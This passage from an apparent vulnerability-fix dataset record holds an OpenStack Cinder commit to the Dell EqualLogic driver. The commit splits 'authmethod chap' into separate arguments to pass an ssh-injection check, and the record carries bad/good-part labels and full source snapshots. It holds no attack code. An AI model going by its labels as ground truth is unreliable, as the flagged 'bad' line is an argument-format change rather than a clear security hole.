Iff6a3ecb64feccae1b29164117576cab9943200a"}, "9e858bebb89de05b1c9ecc27f5bd9fbff95a728e": {"url": "https://api.github.com/repos/storpool/cinder/commits/9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "html_url": "https://github.com/storpool/cinder/commit/9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "sha": "9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "keyword": "command injection check", "diff": "diff --git a/cinder/tests/test_eqlx.py b/cinder/tests/test_eqlx.py\nindex 61f9dc32b..ac815e191 100644\n--- a/cinder/tests/test_eqlx.py\n+++ b/cinder/tests/test_eqlx.py\n@@ -187,7 +187,7 @@ def test_initialize_connection(self):\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'create', 'initiator',\n self.connector['initiator'],\n- 'authmethod chap',\n+ 'authmethod', 'chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()\ndiff --git a/cinder/volume/drivers/eqlx.py b/cinder/volume/drivers/eqlx.py\nindex b5e7fa4f2..e86c11092 100644\n--- a/cinder/volume/drivers/eqlx.py\n+++ b/cinder/volume/drivers/eqlx.py\n@@ -392,7 +392,7 @@ def initialize_connection(self, volume, connector):\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n- cmd.extend(['authmethod chap', 'username',\n+ cmd.extend(['authmethod', 'chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n", "message": "", "files": {"/cinder/tests/test_eqlx.py": {"changes": [{"diff": "\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'create', 'initiator',\n self.connector['initiator'],\n- 'authmethod chap',\n+ 'authmethod', 'chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()", "add": 1, "remove": 1, "filename": "/cinder/tests/test_eqlx.py", "badparts": [" 'authmethod chap',"], "goodparts": [" 'authmethod', 'chap',"]}], "source": "\n import time import mox import paramiko from cinder import context from cinder import exception from cinder.openstack.common import log as logging from cinder.openstack.common import processutils from cinder import test from cinder.volume import configuration as conf from cinder.volume.drivers import eqlx LOG=logging.getLogger(__name__) class DellEQLSanISCSIDriverTestCase(test.TestCase): def setUp(self): super(DellEQLSanISCSIDriverTestCase, self).setUp() self.configuration=mox.MockObject(conf.Configuration) self.configuration.append_config_values(mox.IgnoreArg()) self.configuration.san_is_local=False self.configuration.san_ip=\"10.0.0.1\" self.configuration.san_login=\"foo\" self.configuration.san_password=\"bar\" self.configuration.san_ssh_port=16022 self.configuration.san_thin_provision=True self.configuration.eqlx_pool='non-default' self.configuration.eqlx_use_chap=True self.configuration.eqlx_group_name='group-0' self.configuration.eqlx_cli_timeout=30 self.configuration.eqlx_cli_max_retries=5 self.configuration.eqlx_chap_login='admin' self.configuration.eqlx_chap_password='password' self.configuration.volume_name_template='volume_%s' self._context=context.get_admin_context() self.driver=eqlx.DellEQLSanISCSIDriver( configuration=self.configuration) self.volume_name=\"fakevolume\" self.volid=\"fakeid\" self.connector={'ip': '10.0.0.2', 'initiator': 'iqn.1993-08.org.debian:01:222', 'host': 'fakehost'} self.fake_iqn='iqn.2003-10.com.equallogic:group01:25366:fakev' self.driver._group_ip='10.0.1.6' self.properties={ 'target_discoverd': True, 'target_portal': '%s:3260' % self.driver._group_ip, 'target_iqn': self.fake_iqn, 'volume_id': 1} self._model_update={ 'provider_location': \"%s:3260,1 %s 0\" %(self.driver._group_ip, self.fake_iqn), 'provider_auth': 'CHAP %s %s' %( self.configuration.eqlx_chap_login, self.configuration.eqlx_chap_password) } def _fake_get_iscsi_properties(self, volume): return self.properties def test_create_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'create', volume['name'], \"%sG\" %(volume['size']), 'pool', self.configuration.eqlx_pool, 'thin-provision').\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_volume(volume) self.assertEqual(model_update, self._model_update) def test_delete_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'select', volume['name'], 'show') self.driver._eql_execute('volume', 'select', volume['name'], 'offline') self.driver._eql_execute('volume', 'delete', volume['name']) self.mox.ReplayAll() self.driver.delete_volume(volume) def test_delete_absent_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1, 'id': self.volid} self.driver._eql_execute('volume', 'select', volume['name'], 'show').\\ AndRaise(processutils.ProcessExecutionError( stdout='% Error..... does not exist.\\n')) self.mox.ReplayAll() self.driver.delete_volume(volume) def test_ensure_export(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'select', volume['name'], 'show') self.mox.ReplayAll() self.driver.ensure_export({}, volume) def test_create_snapshot(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} snap_name='fake_snap_name' self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'create-now').\\ AndReturn(['Snapshot name is %s' % snap_name]) self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'rename', snap_name, snapshot['name']) self.mox.ReplayAll() self.driver.create_snapshot(snapshot) def test_create_volume_from_snapshot(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} volume={'name': self.volume_name} self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'select', snapshot['name'], 'clone', volume['name']).\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_volume_from_snapshot(volume, snapshot) self.assertEqual(model_update, self._model_update) def test_create_cloned_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) src_vref={'id': 'fake_uuid'} volume={'name': self.volume_name} src_volume_name=self.configuration.\\ volume_name_template % src_vref['id'] self.driver._eql_execute('volume', 'select', src_volume_name, 'clone', volume['name']).\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_cloned_volume(volume, src_vref) self.assertEqual(model_update, self._model_update) def test_delete_snapshot(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'delete', snapshot['name']) self.mox.ReplayAll() self.driver.delete_snapshot(snapshot) def test_extend_volume(self): new_size='200' self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 100} self.driver._eql_execute('volume', 'select', volume['name'], 'size', \"%sG\" % new_size) self.mox.ReplayAll() self.driver.extend_volume(volume, new_size) def test_initialize_connection(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name} self.stubs.Set(self.driver, \"_get_iscsi_properties\", self._fake_get_iscsi_properties) self.driver._eql_execute('volume', 'select', volume['name'], 'access', 'create', 'initiator', self.connector['initiator'], 'authmethod chap', 'username', self.configuration.eqlx_chap_login) self.mox.ReplayAll() iscsi_properties=self.driver.initialize_connection(volume, self.connector) self.assertEqual(iscsi_properties['data'], self._fake_get_iscsi_properties(volume)) def test_terminate_connection(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name} self.driver._eql_execute('volume', 'select', volume['name'], 'access', 'delete', '1') self.mox.ReplayAll() self.driver.terminate_connection(volume, self.connector) def test_do_setup(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) fake_group_ip='10.1.2.3' for feature in('confirmation', 'paging', 'events', 'formatoutput'): self.driver._eql_execute('cli-settings', feature, 'off') self.driver._eql_execute('grpparams', 'show').\\ AndReturn(['Group-Ipaddress: %s' % fake_group_ip]) self.mox.ReplayAll() self.driver.do_setup(self._context) self.assertEqual(fake_group_ip, self.driver._group_ip) def test_update_volume_stats(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) self.driver._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show').\\ AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB']) self.mox.ReplayAll() self.driver._update_volume_stats() self.assertEqual(self.driver._stats['total_capacity_gb'], 111.0) self.assertEqual(self.driver._stats['free_capacity_gb'], 11.0) def test_get_volume_stats(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) self.driver._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show').\\ AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB']) self.mox.ReplayAll() stats=self.driver.get_volume_stats(refresh=True) self.assertEqual(stats['total_capacity_gb'], float('111.0')) self.assertEqual(stats['free_capacity_gb'], float('11.0')) self.assertEqual(stats['vendor_name'], 'Dell') def test_get_space_in_gb(self): self.assertEqual(self.driver._get_space_in_gb('123.0GB'), 123.0) self.assertEqual(self.driver._get_space_in_gb('123.0TB'), 123.0 * 1024) self.assertEqual(self.driver._get_space_in_gb('1024.0MB'), 1.0) def test_get_output(self): def _fake_recv(ignore_arg): return '%s> ' % self.configuration.eqlx_group_name chan=self.mox.CreateMock(paramiko.Channel) self.stubs.Set(chan, \"recv\", _fake_recv) self.assertEqual(self.driver._get_output(chan),[_fake_recv(None)]) def test_get_prefixed_value(self): lines=['Line1 passed', 'Line1 failed'] prefix=['Line1', 'Line2'] expected_output=[' passed', None] self.assertEqual(self.driver._get_prefixed_value(lines, prefix[0]), expected_output[0]) self.assertEqual(self.driver._get_prefixed_value(lines, prefix[1]), expected_output[1]) def test_ssh_execute(self): ssh=self.mox.CreateMock(paramiko.SSHClient) chan=self.mox.CreateMock(paramiko.Channel) transport=self.mox.CreateMock(paramiko.Transport) self.mox.StubOutWithMock(self.driver, '_get_output') self.mox.StubOutWithMock(chan, 'invoke_shell') expected_output=['NoError: test run'] ssh.get_transport().AndReturn(transport) transport.open_session().AndReturn(chan) chan.invoke_shell() self.driver._get_output(chan).AndReturn(expected_output) cmd='this is dummy command' chan.send('stty columns 255' +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.send(cmd +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.close() self.mox.ReplayAll() self.assertEqual(self.driver._ssh_execute(ssh, cmd), expected_output) def test_ssh_execute_error(self): ssh=self.mox.CreateMock(paramiko.SSHClient) chan=self.mox.CreateMock(paramiko.Channel) transport=self.mox.CreateMock(paramiko.Transport) self.mox.StubOutWithMock(self.driver, '_get_output') self.mox.StubOutWithMock(ssh, 'get_transport') self.mox.StubOutWithMock(chan, 'invoke_shell') expected_output=['Error: test run', '% Error'] ssh.get_transport().AndReturn(transport) transport.open_session().AndReturn(chan) chan.invoke_shell() self.driver._get_output(chan).AndReturn(expected_output) cmd='this is dummy command' chan.send('stty columns 255' +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.send(cmd +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.close() self.mox.ReplayAll() self.assertRaises(processutils.ProcessExecutionError, self.driver._ssh_execute, ssh, cmd) def test_with_timeout(self): @eqlx.with_timeout def no_timeout(cmd, *args, **kwargs): return 'no timeout' @eqlx.with_timeout def w_timeout(cmd, *args, **kwargs): time.sleep(1) self.assertEqual(no_timeout('fake cmd'), 'no timeout') self.assertRaises(exception.VolumeBackendAPIException, w_timeout, 'fake cmd', timeout=0.1) def test_local_path(self): self.assertRaises(NotImplementedError, self.driver.local_path, '') ", "sourceWithComments": "# Copyright (c) 2013 Dell Inc.\n# Copyright 2013 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport time\n\nimport mox\nimport paramiko\n\nfrom cinder import context\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder.openstack.common import processutils\nfrom cinder import test\nfrom cinder.volume import configuration as conf\nfrom cinder.volume.drivers import eqlx\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass DellEQLSanISCSIDriverTestCase(test.TestCase):\n\n def setUp(self):\n super(DellEQLSanISCSIDriverTestCase, self).setUp()\n self.configuration = mox.MockObject(conf.Configuration)\n self.configuration.append_config_values(mox.IgnoreArg())\n self.configuration.san_is_local = False\n self.configuration.san_ip = \"10.0.0.1\"\n self.configuration.san_login = \"foo\"\n self.configuration.san_password = \"bar\"\n self.configuration.san_ssh_port = 16022\n self.configuration.san_thin_provision = True\n self.configuration.eqlx_pool = 'non-default'\n self.configuration.eqlx_use_chap = True\n self.configuration.eqlx_group_name = 'group-0'\n self.configuration.eqlx_cli_timeout = 30\n self.configuration.eqlx_cli_max_retries = 5\n self.configuration.eqlx_chap_login = 'admin'\n self.configuration.eqlx_chap_password = 'password'\n self.configuration.volume_name_template = 'volume_%s'\n self._context = context.get_admin_context()\n self.driver = eqlx.DellEQLSanISCSIDriver(\n configuration=self.configuration)\n self.volume_name = \"fakevolume\"\n self.volid = \"fakeid\"\n self.connector = {'ip': '10.0.0.2',\n 'initiator': 'iqn.1993-08.org.debian:01:222',\n 'host': 'fakehost'}\n self.fake_iqn = 'iqn.2003-10.com.equallogic:group01:25366:fakev'\n self.driver._group_ip = '10.0.1.6'\n self.properties = {\n 'target_discoverd': True,\n 'target_portal': '%s:3260' % self.driver._group_ip,\n 'target_iqn': self.fake_iqn,\n 'volume_id': 1}\n self._model_update = {\n 'provider_location': \"%s:3260,1 %s 0\" % (self.driver._group_ip,\n self.fake_iqn),\n 'provider_auth': 'CHAP %s %s' % (\n self.configuration.eqlx_chap_login,\n self.configuration.eqlx_chap_password)\n }\n\n def _fake_get_iscsi_properties(self, volume):\n return self.properties\n\n def test_create_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'create', volume['name'],\n \"%sG\" % (volume['size']), 'pool',\n self.configuration.eqlx_pool,\n 'thin-provision').\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_volume(volume)\n self.assertEqual(model_update, self._model_update)\n\n def test_delete_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show')\n self.driver._eql_execute('volume', 'select', volume['name'], 'offline')\n self.driver._eql_execute('volume', 'delete', volume['name'])\n self.mox.ReplayAll()\n self.driver.delete_volume(volume)\n\n def test_delete_absent_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1, 'id': self.volid}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show').\\\n AndRaise(processutils.ProcessExecutionError(\n stdout='% Error ..... does not exist.\\n'))\n self.mox.ReplayAll()\n self.driver.delete_volume(volume)\n\n def test_ensure_export(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show')\n self.mox.ReplayAll()\n self.driver.ensure_export({}, volume)\n\n def test_create_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n snap_name = 'fake_snap_name'\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'create-now').\\\n AndReturn(['Snapshot name is %s' % snap_name])\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'rename', snap_name,\n snapshot['name'])\n self.mox.ReplayAll()\n self.driver.create_snapshot(snapshot)\n\n def test_create_volume_from_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n volume = {'name': self.volume_name}\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'select', snapshot['name'],\n 'clone', volume['name']).\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_volume_from_snapshot(volume,\n snapshot)\n self.assertEqual(model_update, self._model_update)\n\n def test_create_cloned_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n src_vref = {'id': 'fake_uuid'}\n volume = {'name': self.volume_name}\n src_volume_name = self.configuration.\\\n volume_name_template % src_vref['id']\n self.driver._eql_execute('volume', 'select', src_volume_name, 'clone',\n volume['name']).\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_cloned_volume(volume, src_vref)\n self.assertEqual(model_update, self._model_update)\n\n def test_delete_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'delete', snapshot['name'])\n self.mox.ReplayAll()\n self.driver.delete_snapshot(snapshot)\n\n def test_extend_volume(self):\n new_size = '200'\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 100}\n self.driver._eql_execute('volume', 'select', volume['name'],\n 'size', \"%sG\" % new_size)\n self.mox.ReplayAll()\n self.driver.extend_volume(volume, new_size)\n\n def test_initialize_connection(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name}\n self.stubs.Set(self.driver, \"_get_iscsi_properties\",\n self._fake_get_iscsi_properties)\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'create', 'initiator',\n self.connector['initiator'],\n 'authmethod chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()\n iscsi_properties = self.driver.initialize_connection(volume,\n self.connector)\n self.assertEqual(iscsi_properties['data'],\n self._fake_get_iscsi_properties(volume))\n\n def test_terminate_connection(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name}\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'delete', '1')\n self.mox.ReplayAll()\n self.driver.terminate_connection(volume, self.connector)\n\n def test_do_setup(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n fake_group_ip = '10.1.2.3'\n for feature in ('confirmation', 'paging', 'events', 'formatoutput'):\n self.driver._eql_execute('cli-settings', feature, 'off')\n self.driver._eql_execute('grpparams', 'show').\\\n AndReturn(['Group-Ipaddress: %s' % fake_group_ip])\n self.mox.ReplayAll()\n self.driver.do_setup(self._context)\n self.assertEqual(fake_group_ip, self.driver._group_ip)\n\n def test_update_volume_stats(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n self.driver._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show').\\\n AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB'])\n self.mox.ReplayAll()\n self.driver._update_volume_stats()\n self.assertEqual(self.driver._stats['total_capacity_gb'], 111.0)\n self.assertEqual(self.driver._stats['free_capacity_gb'], 11.0)\n\n def test_get_volume_stats(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n self.driver._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show').\\\n AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB'])\n self.mox.ReplayAll()\n stats = self.driver.get_volume_stats(refresh=True)\n self.assertEqual(stats['total_capacity_gb'], float('111.0'))\n self.assertEqual(stats['free_capacity_gb'], float('11.0'))\n self.assertEqual(stats['vendor_name'], 'Dell')\n\n def test_get_space_in_gb(self):\n self.assertEqual(self.driver._get_space_in_gb('123.0GB'), 123.0)\n self.assertEqual(self.driver._get_space_in_gb('123.0TB'), 123.0 * 1024)\n self.assertEqual(self.driver._get_space_in_gb('1024.0MB'), 1.0)\n\n def test_get_output(self):\n\n def _fake_recv(ignore_arg):\n return '%s> ' % self.configuration.eqlx_group_name\n\n chan = self.mox.CreateMock(paramiko.Channel)\n self.stubs.Set(chan, \"recv\", _fake_recv)\n self.assertEqual(self.driver._get_output(chan), [_fake_recv(None)])\n\n def test_get_prefixed_value(self):\n lines = ['Line1 passed', 'Line1 failed']\n prefix = ['Line1', 'Line2']\n expected_output = [' passed', None]\n self.assertEqual(self.driver._get_prefixed_value(lines, prefix[0]),\n expected_output[0])\n self.assertEqual(self.driver._get_prefixed_value(lines, prefix[1]),\n expected_output[1])\n\n def test_ssh_execute(self):\n ssh = self.mox.CreateMock(paramiko.SSHClient)\n chan = self.mox.CreateMock(paramiko.Channel)\n transport = self.mox.CreateMock(paramiko.Transport)\n self.mox.StubOutWithMock(self.driver, '_get_output')\n self.mox.StubOutWithMock(chan, 'invoke_shell')\n expected_output = ['NoError: test run']\n ssh.get_transport().AndReturn(transport)\n transport.open_session().AndReturn(chan)\n chan.invoke_shell()\n self.driver._get_output(chan).AndReturn(expected_output)\n cmd = 'this is dummy command'\n chan.send('stty columns 255' + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.send(cmd + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.close()\n self.mox.ReplayAll()\n self.assertEqual(self.driver._ssh_execute(ssh, cmd), expected_output)\n\n def test_ssh_execute_error(self):\n ssh = self.mox.CreateMock(paramiko.SSHClient)\n chan = self.mox.CreateMock(paramiko.Channel)\n transport = self.mox.CreateMock(paramiko.Transport)\n self.mox.StubOutWithMock(self.driver, '_get_output')\n self.mox.StubOutWithMock(ssh, 'get_transport')\n self.mox.StubOutWithMock(chan, 'invoke_shell')\n expected_output = ['Error: test run', '% Error']\n ssh.get_transport().AndReturn(transport)\n transport.open_session().AndReturn(chan)\n chan.invoke_shell()\n self.driver._get_output(chan).AndReturn(expected_output)\n cmd = 'this is dummy command'\n chan.send('stty columns 255' + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.send(cmd + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.close()\n self.mox.ReplayAll()\n self.assertRaises(processutils.ProcessExecutionError,\n self.driver._ssh_execute, ssh, cmd)\n\n def test_with_timeout(self):\n @eqlx.with_timeout\n def no_timeout(cmd, *args, **kwargs):\n return 'no timeout'\n\n @eqlx.with_timeout\n def w_timeout(cmd, *args, **kwargs):\n time.sleep(1)\n\n self.assertEqual(no_timeout('fake cmd'), 'no timeout')\n self.assertRaises(exception.VolumeBackendAPIException,\n w_timeout, 'fake cmd', timeout=0.1)\n\n def test_local_path(self):\n self.assertRaises(NotImplementedError, self.driver.local_path, '')\n"}, "/cinder/volume/drivers/eqlx.py": {"changes": [{"diff": "\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n- cmd.extend(['authmethod chap', 'username',\n+ cmd.extend(['authmethod', 'chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/eqlx.py", "badparts": [" cmd.extend(['authmethod chap', 'username',"], "goodparts": [" cmd.extend(['authmethod', 'chap', 'username',"]}], "source": "\n \"\"\"Volume driver for Dell EqualLogic Storage.\"\"\" import functools import random import eventlet from eventlet import greenthread import greenlet from oslo.config import cfg from cinder import exception from cinder.openstack.common import excutils from cinder.openstack.common import log as logging from cinder.openstack.common import processutils from cinder import utils from cinder.volume.drivers.san import SanISCSIDriver LOG=logging.getLogger(__name__) eqlx_opts=[ cfg.StrOpt('eqlx_group_name', default='group-0', help='Group name to use for creating volumes'), cfg.IntOpt('eqlx_cli_timeout', default=30, help='Timeout for the Group Manager cli command execution'), cfg.IntOpt('eqlx_cli_max_retries', default=5, help='Maximum retry count for reconnection'), cfg.BoolOpt('eqlx_use_chap', default=False, help='Use CHAP authentication for targets?'), cfg.StrOpt('eqlx_chap_login', default='admin', help='Existing CHAP account name'), cfg.StrOpt('eqlx_chap_password', default='password', help='Password for specified CHAP account name', secret=True), cfg.StrOpt('eqlx_pool', default='default', help='Pool in which volumes will be created') ] CONF=cfg.CONF CONF.register_opts(eqlx_opts) def with_timeout(f): @functools.wraps(f) def __inner(self, *args, **kwargs): timeout=kwargs.pop('timeout', None) gt=eventlet.spawn(f, self, *args, **kwargs) if timeout is None: return gt.wait() else: kill_thread=eventlet.spawn_after(timeout, gt.kill) try: res=gt.wait() except greenlet.GreenletExit: raise exception.VolumeBackendAPIException( data=\"Command timed out\") else: kill_thread.cancel() return res return __inner class DellEQLSanISCSIDriver(SanISCSIDriver): \"\"\"Implements commands for Dell EqualLogic SAN ISCSI management. To enable the driver add the following line to the cinder configuration: volume_driver=cinder.volume.drivers.eqlx.DellEQLSanISCSIDriver Driver's prerequisites are: -a separate volume group set up and running on the SAN -SSH access to the SAN -a special user must be created which must be able to -create/delete volumes and snapshots; -clone snapshots into volumes; -modify volume access records; The access credentials to the SAN are provided by means of the following flags san_ip= san_login= san_password= san_private_key= Thin provision of volumes is enabled by default, to disable it use: san_thin_provision=false In order to use target CHAP authentication(which is disabled by default) SAN administrator must create a local CHAP user and specify the following flags for the driver: eqlx_use_chap=true eqlx_chap_login= eqlx_chap_password= eqlx_group_name parameter actually represents the CLI prompt message without '>' ending. E.g. if prompt looks like 'group-0>', then the parameter must be set to 'group-0' Also, the default CLI command execution timeout is 30 secs. Adjustable by eqlx_cli_timeout= \"\"\" VERSION=\"1.0.0\" def __init__(self, *args, **kwargs): super(DellEQLSanISCSIDriver, self).__init__(*args, **kwargs) self.configuration.append_config_values(eqlx_opts) self._group_ip=None self.sshpool=None def _get_output(self, chan): out='' ending='%s> ' % self.configuration.eqlx_group_name while not out.endswith(ending): out +=chan.recv(102400) LOG.debug(_(\"CLI output\\n%s\"), out) return out.splitlines() def _get_prefixed_value(self, lines, prefix): for line in lines: if line.startswith(prefix): return line[len(prefix):] return @with_timeout def _ssh_execute(self, ssh, command, *arg, **kwargs): transport=ssh.get_transport() chan=transport.open_session() chan.invoke_shell() LOG.debug(_(\"Reading CLI MOTD\")) self._get_output(chan) cmd='stty columns 255' LOG.debug(_(\"Setting CLI terminal width: '%s'\"), cmd) chan.send(cmd +'\\r') out=self._get_output(chan) LOG.debug(_(\"Sending CLI command: '%s'\"), command) chan.send(command +'\\r') out=self._get_output(chan) chan.close() if any(line.startswith(('% Error', 'Error:')) for line in out): desc=_(\"Error executing EQL command\") cmdout='\\n'.join(out) LOG.error(cmdout) raise processutils.ProcessExecutionError( stdout=cmdout, cmd=command, description=desc) return out def _run_ssh(self, cmd_list, attempts=1): utils.check_ssh_injection(cmd_list) command=' '. join(cmd_list) if not self.sshpool: password=self.configuration.san_password privatekey=self.configuration.san_private_key min_size=self.configuration.ssh_min_pool_conn max_size=self.configuration.ssh_max_pool_conn self.sshpool=utils.SSHPool(self.configuration.san_ip, self.configuration.san_ssh_port, self.configuration.ssh_conn_timeout, self.configuration.san_login, password=password, privatekey=privatekey, min_size=min_size, max_size=max_size) try: total_attempts=attempts with self.sshpool.item() as ssh: while attempts > 0: attempts -=1 try: LOG.info(_('EQL-driver: executing \"%s\"') % command) return self._ssh_execute( ssh, command, timeout=self.configuration.eqlx_cli_timeout) except processutils.ProcessExecutionError: raise except Exception as e: LOG.exception(e) greenthread.sleep(random.randint(20, 500) / 100.0) msg=(_(\"SSH Command failed after '%(total_attempts)r' \" \"attempts: '%(command)s'\") % {'total_attempts': total_attempts, 'command': command}) raise exception.VolumeBackendAPIException(data=msg) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_(\"Error running SSH command: %s\") % command) def _eql_execute(self, *args, **kwargs): return self._run_ssh( args, attempts=self.configuration.eqlx_cli_max_retries) def _get_volume_data(self, lines): prefix='iSCSI target name is ' target_name=self._get_prefixed_value(lines, prefix)[:-1] lun_id=\"%s:%s,1 %s 0\" %(self._group_ip, '3260', target_name) model_update={} model_update['provider_location']=lun_id if self.configuration.eqlx_use_chap: model_update['provider_auth']='CHAP %s %s' % \\ (self.configuration.eqlx_chap_login, self.configuration.eqlx_chap_password) return model_update def _get_space_in_gb(self, val): scale=1.0 part='GB' if val.endswith('MB'): scale=1.0 / 1024 part='MB' elif val.endswith('TB'): scale=1.0 * 1024 part='TB' return scale * float(val.partition(part)[0]) def _update_volume_stats(self): \"\"\"Retrieve stats info from eqlx group.\"\"\" LOG.debug(_(\"Updating volume stats\")) data={} backend_name=\"eqlx\" if self.configuration: backend_name=self.configuration.safe_get('volume_backend_name') data[\"volume_backend_name\"]=backend_name or 'eqlx' data[\"vendor_name\"]='Dell' data[\"driver_version\"]=self.VERSION data[\"storage_protocol\"]='iSCSI' data['reserved_percentage']=0 data['QoS_support']=False data['total_capacity_gb']='infinite' data['free_capacity_gb']='infinite' for line 